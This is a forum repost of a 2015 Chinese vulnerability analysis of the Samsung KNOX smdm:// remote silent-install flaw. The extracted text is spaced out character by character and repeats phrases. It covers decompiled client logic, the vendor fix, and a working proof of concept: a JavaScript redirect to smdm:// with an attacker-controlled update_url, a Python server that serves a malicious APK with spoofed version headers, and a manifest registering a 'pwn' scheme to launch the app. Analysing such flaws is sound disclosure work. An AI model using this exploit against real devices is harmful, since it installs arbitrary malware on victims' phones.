搜索

[8558] 2015-01-05_三星KNOX远程静默安装漏洞深入分析报告

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-17
2015-01-05_三星KNOX远程静默安装漏洞深入分析报告 三 星 K N O X 远 程 静 默 安 装 漏 洞 深 入 分 析 报 告 F r e e B u f   2 0 1 5 - 0 1 - 0 5 漏 洞 来 源 漏 洞 来 源 1 1 月 中 旬 ， 三 星 手 机 被 国 外 安 全 研 究 人 员 曝 光 了 一 个 严 重 的 安 全 漏 洞 月 中 旬 ， 三 星 手 机 被 国 外 安 全 研 究 人 员 曝 光 了 一 个 严 重 的 安 全 漏 洞 , 该 漏 洞 影 响 该 漏 洞 影 响 G a l a x y   S 5 , S 4 , S 4   m i n i , N o t e   4 , N o t e 3 以 以 及 及 A c e   4 等 支 持 等 支 持 k n o x 的 全 线 三 星 手 机 ， 部 分 的 全 线 三 星 手 机 ， 部 分 G a l a x y S 5 和 和   N o t e   4 已 修 复 。 已 修 复 。 漏 洞 危 害 漏 洞 危 害 利 用 该 漏 洞 ， 远 程 攻 击 者 可 以 精 心 构 造 一 个 恶 意 网 页 ， 欺 骗 用 户 更 新 手 机 系 统 利 用 该 漏 洞 ， 远 程 攻 击 者 可 以 精 心 构 造 一 个 恶 意 网 页 ， 欺 骗 用 户 更 新 手 机 系 统 , 当 用 户 更 新 系 统 后 当 用 户 更 新 系 统 后 , 用 户 手 机 上 会 被 用 户 手 机 上 会 被 安 装 任 意 的 恶 意 应 用 。 安 装 任 意 的 恶 意 应 用 。 下 面 附 上 漏 洞 演 示 视 频 : 【 请 点 击 最 下 方 的 “ 阅 读 原 文 ” 】 视 频 地 址 ： 视 频 地 址 ：   h t t p : / / v . y o u k u . c o m / v _ s h o w / i d _ X O D Y 0 M j A 3 N z Q 4 . h t m l   漏 洞 原 因 漏 洞 原 因 经 研 究 是 系 统 应 用 U n i v e r s a l M D M C l i e n t   不 安 全 的 更 新 机 制 实 现 导 致 的 ， 该 应 用 与 s a m s u n g   K N O X   安 全 解 决 方 案 相 关 。 这 个 系 统 应 用 里 使 用 了 自 定 义 的 s c h e m e ： s m d m ， 通 过 这 个 s c h e m e 可 以 触 发 应 用 更 新 。 但 是 三 星 却 没 有 做 自 升 级 包 名 校 验 机 制 等 ， 导 致 可 以 在 更 新 过 程 安 装 任 意 应 用 。 漏 洞 修 复 漏 洞 修 复 官 方 的 修 复 方 案 也 很 简 单 ， 就 是 在 自 升 级 时 校 验 了 包 名 。 在 在 a n d r o i d 中 ， 包 名 是 唯 一 的 标 示 ， 一 个 中 ， 包 名 是 唯 一 的 标 示 ， 一 个 a n d r o i d 系 统 里 不 能 同 时 存 在 两 个 包 名 完 全 一 样 的 应 用 。 当 两 个 相 同 包 名 的 应 系 统 里 不 能 同 时 存 在 两 个 包 名 完 全 一 样 的 应 用 。 当 两 个 相 同 包 名 的 应 用 签 名 不 一 样 不 会 导 致 覆 盖 安 装 ， 这 样 就 可 以 避 免 在 应 用 自 升 级 时 被 中 间 人 攻 击 ， 替 换 为 恶 意 的 应 用 。 用 签 名 不 一 样 不 会 导 致 覆 盖 安 装 ， 这 样 就 可 以 避 免 在 应 用 自 升 级 时 被 中 间 人 攻 击 ， 替 换 为 恶 意 的 应 用 。 我 们 测 试 了 市 场 上 的 应 用 ， 发 现 9 0 % 的 应 用 都 没 有 使 用 自 升 级 校 验 包 名 的 机 制 ， 希 望 可 以 吸 取 三 星 的 教 训 ， 开 发 出 更 加 安 全 ， 更 加 健 壮 的 a p p 。 详 细 分 析 详 细 分 析 首 先 我 们 把 这 个 漏 洞 应 用 拉 出 来 进 行 分 析 ， 看 下 应 用 是 如 何 处 理 这 个 s m d m 协 议 的 。 命 令 ： a d b   p u l l   / s y s t e m / a p p / U n i v e r s a l M D M C l i e n t . a p k   / h o m e / X X X / D e s k t o p / ( 不 需 要 r o o t 权 限 ) 反 编 译 后 发 现 A n d r o i d M a n i f e s t . x m l 文 件 中 有 这 么 一 个 a c t i v i t y ： 这 个 a c t i v i t y 的 i n t e n t - f i l t e r 里 定 义 了 一 个 s c h e m e : s m d m ， 并 且 c a t e g o r y 是 a n d r o i d . i n t e n t . c a t e g o r y . B R O W S A B L E 。 所 以 当 应 用 接 受 到 s m d m 协 议 的 u r l 时 ， 该 a c t i v i t y 会 被 唤 醒 进 行 处 理 。 那 么 这 个 a c t i v i t y 是 如 何 处 理 的 呢 ？ 看 下 这 个 a c t i v i t y 的 相 关 代 码 。 定 位 到 程 序 执 行 入 口 o n C r e a t e ( ) 方 法 。
可 以 看 到 这 个 函 数 首 先 调 用 了 V 方 法 。 V 方 法 的 实 现 如 下 ： p u b l i c   s t a t i c   S t r i n g   v ( C o n t e x t   a r g 3 )   { r e t u r n a r g 3 . g e t S h a r e d P r e f e r e n c e s ( " P r e E T a g " , 0 ) . g e t S t r i n g ( " P r e E T a g " ,   n u l l ) ;         } 很 明 显 程 序 会 去 检 查 本 地 s h a r e d P r e f e r e n c e ( 这 个 一 般 存 在 于 应 用 数 据 目 录 ， 这 里 是 / d a t a / d a t a / c o m . s e c . e n t e r p r i s e . k n o x . c l o u d m d m . s m d m s / s h a r e d _ p r e f s / ) 里 是 否 有 P r e E T a g . x m l ， 如 果 有 返 回 P r e E t a g 的 值 。 然 后 继 续 看 o n C r e a t e ( ) 方 法 ， 这 里 会 判 断 P r e E t a g 是 否 存 在 ， 如 果 存 在 就 调 用 f i n i s h ( ) 方 法 结 束 执 行 。 默 认 情 况 P r e E T a g . x m l 这 个 文 件 不 存 在 。 接 下 来 会 获 取 i n t e n t 里 的 数 据 ， 而 这 个 i n t e n t 的 格 式 就 是 i n t e n t - f i l t e r 里 定 义 的 s c h e m e 格 式 ： s m d m : / / 。 I n t e n t 里 包 含 的 数 据 有 ： s e g _ u r l ,   u p d a t e _ u r l ,   e m a i l ,   m d m _ t o k e n , p r o g r a m 和 q u i c k s t a r t _ u r l ， 这 些 数 据 是 以 键 值 对 形 式 存 在 的 。 然 后 是 关 于 s e g _ u r l 和 p r o g r a m 的 处 理 。 接 下 来 L a u n c h A c t i v i t y . a ( t h i s . g e t A p p l i c a t i o n C o n t e x t ( ) , v 1 ,   v 2 ,   v 3 ,   v 4 ,   v 5 ,   v 6 ,   v 7 ) ; 定 位 a 方 法 ， 实 现 如 下 ：
这 段 代 码 就 是 把 从 i n t e n t 里 获 取 的 这 些 参 数 存 入 s h a r e d p r e f e r e n c e 里 ， 对 应 本 地 应 用 目 录 下 的 L a u n c h P a r a m e t e r s . x m l 文 件 。 接 着 程 序 会 获 取 两 个 值 接 着 程 序 会 获 取 两 个 值 C u r r e n t   P r o g r a m 和 和 L a u n c h   P r o g r a m ， ， 如 果 C u r r e n t   P r o g r a m 为 n u l l 或 者 C u r r e n t   P r o g r a m 和 L a u n c h   P r o g r a m 值 相 等 ， 说 明 这 个 a c t i v i t y 是 首 次 运 行 ， 不 做 处 理 。 否 则 会 调 用 C l o u d M d m E n r o l l m e n t A c t i v i t y 进 行 处 理 ， 这 个 a c t i v i t y 是 m d m 注 册 相 关 的 界 面 。 与 漏 洞 关 系 不 大 ， 不 做 详 细 分 析 。 接 着 会 有 个 检 测 更 新 的 对 话 框 ， 是 不 能 取 消 的 ， t h i s . w Y . s e t C a n c e l a b l e ( f a l s e ) ; C o r e . f l ( ) . f q ( ) 方 法 的 实 现 如 下 ， 这 段 代 码 负 责 检 查 当 前 是 否 正 在 进 行 更 新 ， 如 果 没 有 ， 则 调 用 C o r e . p h . a ( n e w   C o r e $ 1 ( t h i s ) ) ; 这 段 代 码 实 现 如 下 ： 这 段 代 码 混 淆 比 较 厉 害 ， 单 从 名 字 无 法 猜 出 大 概 意 思 ， 需 要 跟 入 几 个 函 数 才 可 以 理 清 。 这 段 代 码 会 检 查 数 据 连 接 ， 如 果 有 更 新 在 进 行 则 做 删 除 处 理 ， 然 后 从 s h a r e d p r e f e r e n c e 文 件 m . x m l 里 获 取 更 新 地 址 ， 并 且 会 在 这 个 地 址 后 加 上 / l a t e s t 。 而 m . x m l 里 获 取 的 更 新 地 址 就 是 上 面 从 i n t e n t 里 获 取 的 u d p d a t e _ u r l ， 所 以 这 个 地 址 可 以 由 攻 击 者 控 制 。 t h i s . h ( a . q X ,   " u m c . a p k " ) ; 跟 进 去 ， 代 码 实 现 如 下 ：
这 里 会 向 攻 击 者 控 制 的 U R L 发 送 H E A D   H T T P 请 求 ， 请 求 的 不 同 状 态 会 有 a $ 1 类 来 处 理 。 这 个 类 的 实 现 代 码 如 下 ：
当 然 这 里 最 重 要 的 就 是 当 然 这 里 最 重 要 的 就 是 o n S u c c e s s ( ) 方 法 了 ， 它 会 检 查 方 法 了 ， 它 会 检 查 h e a d e r 中 的 中 的 E T a g 、 、 C o n t e n t - L e n g t h 和 和 x - a m z - m e t a - a p k - v e r s i o n 。 。 h e a d e r 中 的 x - a m z - m e t a - a p k - v e r s i o n 值 会 与 当 前 U n i v e r s a l M D M A p p l i c a t i o n   A P K 包 的 版 本 进 行 比 较 。 如 果 h e a d e r 中 的 x - a m z - m e t a - a p k - v e r s i o n 版 本 号 大 于 当 前 的 A P K 版 本 ， v 0 就 会 被 置 为 1 ， 即 需 要 更 新 。 此 时 用 户 手 机 会 弹 框 提 示 有 新 更 新 ， 如 果 用 户 点 击 了 确 定 ， 就 会 发 送 一 个 g e t 请 求 ， 获 取 a p k 更 新 地 址 等 ， 接 着 会 调 用 c o m . s e c . e n t e r p r i s e . k n o x . c l o u d m d m . s m d m s . i n s t a l l . a 类 里 的 o n S u c c e s s ( ) 方 法 。 继 续 跟 入 f X ( ) 和 f Y ( ) 方 法 . 我 用 j e b 反 编 译 的 这 里 f X 方 法 是 空 ， f Y 方 法 实 现 如 下 ： 很 明 显 更 新 线 程 开 启 了 。 更 新 线 程 又 会 调 用 执 行 i n s t a l l A p k ( ) ， 而 i n s t a l l A p k ( ) 又 会 调 用 _ i n s t a l l A p p l i c a t i o n ( ) _ i n s t a l l A p p l i c a t i o n ( ) 的 功 能 就 是 禁 止 包 验 证   ( 防 止 G o o g l e 扫 描 A P K ) 安 装 A P K 之 后 再 重 新 开 启 包 验 证 。 混 淆 比 较 厉 害 ， 需 要 跟 几 个 函 数 ， 此 处 不 再 贴 代 码 。 以 上 是 整 个 客 户 端 处 理 逻 辑 。 下 载 的 A P K 既 没 有 经 过 验 证 ， 也 没 有 向 用 户 展 示 请 求 的 权 限 。 因 此 这 个 漏 洞 能 够 被 攻 击 者 用 来 安 装 任 意 恶 意 程 序 。 现 实 世 界 的 真 实 攻 击 现 实 世 界 的 真 实 攻 击 首 先 我 们 验 证 了 这 个 漏 洞 的 整 个 流 程 ， 测 试 环 境 ： G a l a x y   S 4   G T - 9 5 0 8 ， a n d r o i d   4 . 4 . 2 系 统 。 p o c 原 理 很 简 单 ： 原 理 很 简 单 ：
用 p y t h o n （ 或 者 其 他 语 言 ） 写 一 个 s e r v e r ， 用 来 响 应 客 户 端 的 请 求 和 提 供 恶 意 a p k 。 当 被 攻 击 者 访 问 攻 击 者 的 u r l 更 新 时 ， 特 定 格 式 s c h e m e ( s m d m : / / m e o w ? u p d a t e _ u r l = h t t p : / / y o u s e r v e r ) 会 触 发 漏 洞 应 用 进 行 解 析 处 理 ， 最 终 会 被 下 载 安 装 服 务 器 指 定 的 任 意 应 用 。 P o c :   < s c r i p t > f u n c t i o n   t r i g g e r ( ) { d o c u m e n t . l o c a t i o n = " s m d m : / / m e o w ? u p d a t e _ u r l = h t t p : / / y o u r s e r v e r / " ;     } s e t T i m e o u t ( t r i g g e r ,   5 0 0 0 ) ; < / s c r i p t > P y t h o n 版 版 P O C 代 码 ： 代 码 ： i m p o r t   h a s h l i b f r o m B a s e H T T P S e r v e r   i m p o r t B a s e H T T P R e q u e s t H a n d l e r A P K _ F I L E   =   " t o u t i a o . a p k " A P K _ D A T A   = o p e n ( A P K _ F I L E , " r b " ) . r e a d ( ) A P K _ S I Z E   =   s t r ( l e n ( A P K _ D A T A ) ) A P K _ H A S H   = h a s h l i b . m d 5 ( A P K _ D A T A ) . h e x d i g e s t ( ) p o c   = ' ' ' < s c r i p t > v a r l o c   = w i n d o w . l o c a t i o n . h r e f . r e p l a c e ( / [ / . ] $ / g ,   ' ' ) ; a l e r t ( ' s m d m : / / p o c ? u p d a t e _ u r l = ' + e n c o d e U R I C o m p o n e n t ( l o c ) + ' / t e s t . a p k ' ) t o p . l o c a t i o n   = ' s m d m : / / p o c ? u p d a t e _ u r l = ' + e n c o d e U R I C o m p o n e n t ( l o c ) + ' / t e s t . a p k ' ; < / s c r i p t > ' ' ' c l a s s M y H a n d l e r ( B a s e H T T P R e q u e s t H a n d l e r ) : d e f d o _ G E T ( s e l f ) : i f s e l f . p a t h . f i n d ( ' l a t e s t ' )   > 0 : s e l f . s e n d _ r e s p o n s e ( 2 0 0 ) s e l f . s e n d _ h e a d e r ( " C o n t e n t - L e n g t h " , A P K _ S I Z E ) s e l f . s e n d _ h e a d e r ( " E T a g " , A P K _ H A S H ) s e l f . s e n d _ h e a d e r ( " x - a m z - m e t a - a p k - v e r s i o n " , " 1 3 3 7 " ) s e l f . e n d _ h e a d e r s ( ) s e l f . w f i l e . w r i t e ( A P K _ D A T A ) e l s e : s e l f . s e n d _ r e s p o n s e ( 2 0 0 , ' O K ' ) s e l f . s e n d _ h e a d e r ( ' C o n t e n t - t y p e ' ,   ' h t m l ' ) s e l f . e n d _ h e a d e r s ( ) s e l f . w f i l e . w r i t e ( p o c ) r e t u r n d e f d o _ H E A D ( s e l f ) : s e l f . s e n d _ r e s p o n s e ( 2 0 0 ) s e l f . s e n d _ h e a d e r ( " C o n t e n t - L e n g t h " , A P K _ S I Z E ) s e l f . s e n d _ h e a d e r ( " E T a g " , A P K _ H A S H ) s e l f . s e n d _ h e a d e r ( " x - a m z - m e t a - a p k - v e r s i o n " , " 1 3 3 7 " ) s e l f . e n d _ h e a d e r s ( ) r e t u r n i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " : f r o m B a s e H T T P S e r v e r   i m p o r t   H T T P S e r v e r s e r v e r   =   H T T P S e r v e r ( ( ' 0 . 0 . 0 . 0 ' , 8 0 8 0 ) , M y H a n d l e r ) s e r v e r . s e r v e _ f o r e v e r ( ) 现 实 世 界 的 攻 击 中 ， 恶 意 应 用 被 安 装 后 还 需 要 被 启 动 才 能 触 发 恶 意 代 码 ， 实 现 其 他 深 入 攻 击 。 如 果 浏 览 器 支 持 I n t e n t S c h e m e U R I ， 一 般 会 分 三 个 步 骤 进 行 处 理 ： 1 . 利 用 I n t e n t . p a r s e U r i 解 析 u r i ， 获 取 原 始 的 i n t e n t 对 象 ； 2 . 对 i n t e n t 对 象 设 置 过 滤 规 则 ， 不 同 的 浏 览 器 有 不 同 的 策 略 3 . 通 过 C o n t e x t . s t a r t A c t i v i t y I f N e e d e d 或 者 C o n t e x t . s t a r t A c t i v i t y 发 送 i n t e n t ； 这 样 恶 意 应 用 就 会 被 启 动 ， 触 发 恶 意 代 码 。 国 外 著 名 的 渗 透 测 试 框 架 M e t a s p l o i t 的 漏 洞 利 用 脚 本 ， 实 现 了 这 个 过 程 ， 目 前 针 对 这 种 意 图 协 议 漏 洞 ， 3 6 0 捉 虫 猎 手 ( a p p s c a n . 3 6 0 . c n ) 可 以 直 接 检 测 ， 应 用 开 发 者 可 以 自 查 自 己 的 A P P 是 否 存 在 这 样 的 安 全 隐 患 。
而 另 外 一 种 启 动 恶 意 代 码 的 方 式 是 通 过 A P P 注 册 一 个 第 三 方 协 议 ， 通 过 第 三 方 协 议 启 动 恶 意 程 序 ， 目 前 著 名 的 移 动 渗 透 测 试 框 架 D r o z e r 的 漏 洞 利 用 脚 本 已 经 实 现 了 这 一 过 程 ： < a c t i v i t y                       a n d r o i d : n a m e = " c o m . m w r . d z . P w n A c t i v i t y " >                       < i n t e n t - f i l t e r >                               < a c t i o n a n d r o i d : n a m e = " a n d r o i d . i n t e n t . a c t i o n . V I E W "   / >                                 < c a t e g o r y a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . D E F A U L T "   / >                                 < c a t e g o r y a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . B R O W S A B L E "   / >                                 < d a t a   a n d r o i d : s c h e m e = " p w n "   / >                         < / i n t e n t - f i l t e r >               < / a c t i v i t y > 在 A P K 的 m a i n f e s t 配 置 文 件 中 在 系 统 中 注 册 一 个 P W N 的 第 三 方 协 议 ， 漏 洞 利 用 网 页 只 要 嵌 入 类 似 p w n : / / 协 议 的 地 址 就 可 以 唤 起 恶 意 程 序 。 官 方 补 丁 官 方 补 丁 如 果 你 的 设 备 还 有 漏 洞 ， 你 可 以 等 三 星 的 补 丁 ， 也 可 以 自 己 修 复 。 修 复 补 丁 不 需 要 r o o t 权 限 ， 只 需 点 击 这 个 链 接 ： s m d m : / / p a t c h / 实 际 上 点 击 这 个 链 接 时 ， 漏 洞 程 序 会 启 动 ， 但 是 没 有 指 定 的 更 新 实 际 上 点 击 这 个 链 接 时 ， 漏 洞 程 序 会 启 动 ， 但 是 没 有 指 定 的 更 新 U R L ， 它 会 使 用 默 认 的 三 星 ， 它 会 使 用 默 认 的 三 星 U M C ( U n i v e r s a l   M D M C l i e n t ) 服 务 器 服 务 器 h t t p : / / u m c - c d n . s e c b 2 b . c o m : 8 0 ， 这 个 服 务 器 上 有 最 新 版 本 的 ， 这 个 服 务 器 上 有 最 新 版 本 的 U n i v e r s a l M D M C l i e n t . a p k 。 。 原 帖 地 址 ： 原 帖 地 址 ： h t t p : / / w e i b o . c o m / p / 1 0 0 1 6 0 3 7 9 5 3 0 7 5 2 2 6 0 7 2 4 8 [ 本 文 作 者 本 文 作 者 / 0 x r 0 o t @ 3 6 0 捉 虫 猎 手 （ 捉 虫 猎 手 （ 3 6 0 安 全 卫 士 代 发 ） 转 载 请 注 明 来 自 安 全 卫 士 代 发 ） 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ 黑 客 与 极 客 （ F r e e B u f . C O M ） ） ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理